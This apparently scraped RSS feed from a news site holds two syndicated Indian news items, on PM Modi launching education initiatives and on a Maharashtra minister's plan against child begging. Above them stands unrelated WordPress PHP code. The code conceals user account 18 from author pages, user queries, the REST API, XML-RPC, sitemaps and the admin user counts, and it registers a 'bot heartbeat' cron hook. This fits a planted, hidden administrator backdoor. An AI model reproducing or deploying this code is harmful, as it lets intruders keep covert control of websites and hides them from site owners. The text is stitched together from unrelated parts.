add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post National Digital Architecture likely to play a major role in eradicating inequality in the education system : PM Modi appeared first on The Edge Media.
]]>While inaugurating the Shikshak Parv conclave through video conference in New Delhi, PM Modi said “N-DEAR is likely to play a major role in eradicating inequality in education and its modernization. N-DEAR will act as a “super connect” between various academic activities in the same way as UPI interface revolutionized the banking sector. The country is making technology like Talking Books and Audiobooks a part of education.”
The Prime Minister said that “Vidyanjali 2.0” is like a platform for the country’s resolve of “Sabka Prayas” with “Sabka Saath, Sabka Vikas, Sabka Vishwas”.
In this society, our private sector has to come forward and contribute to increasing the quality of education in government schools, he said.
“Vidyanjali 2.0”, a portal launched for facilitating education volunteers, donors and CSR contributors for school development.
PM Modi also launched School Quality Assessment and Assurance Framework (SQAAF) which would address the deficiency of the absence of a common scientific framework for dimensions like curriculum, pedagogy, assessment, infrastructure, inclusive practices and governance process. SQAAF will help in bridging this inequality.
The theme of “Shikshak Parv-2021” is “Quality and Sustainable Schools: Learnings from Schools in India”. Its celebration will encourage innovative practices to ensure not only continuity of education at all levels but to improve quality, inclusive practices and sustainability in the schools across the country as well.
Union Education Minister Dharmendra Pradhan and Union Minister of State for Education Jitin Prasada were also present at the event.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post National Digital Architecture likely to play a major role in eradicating inequality in the education system : PM Modi appeared first on The Edge Media.
]]>The post Programme to eradicate child begging will soon be implemented in Maharashtra : Yashomati Thakur appeared first on The Edge Media.
]]>Ms Thakur made the announcement in Jalgaon district on Saturday when a small girl approached her and told her that she earned her living by begging.
The minister, who was on a visit to Jalgaon and Dhule districts, expressed anger and disappointment towards police and raised concern over the growing problem of child beggars in the state.
“A skill development programme has been undertaken for child and adult beggars and its strategy will be implemented soon. There are gangs of beggars in many places, so we need to be sensitive about such issues. Begging is a crime under law,” Ms Thakur told reporters.
During her visit to Dhule, Ms Thakur met children who were orphaned and rendered homeless due to the COVID-19 pandemic.
She held discussions with officials on how government schemes could benefit them.
On the occasion, the minister also provided an immediate financial help to such children.
“We need to think beyond the government aid and policy for orphans,” Ms Thakur said.
She expressed the need for education, nutrition and safety of children orphaned due to COVID-19.
The government will always be ready to help such children. Immediate action should be taken to provide these children with various government benefits, including ration cards, the minister said.
These children should also be counselled from time-to-time, she said.
Problems related to their properties should also be looked into immediately, she added.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Programme to eradicate child begging will soon be implemented in Maharashtra : Yashomati Thakur appeared first on The Edge Media.
]]>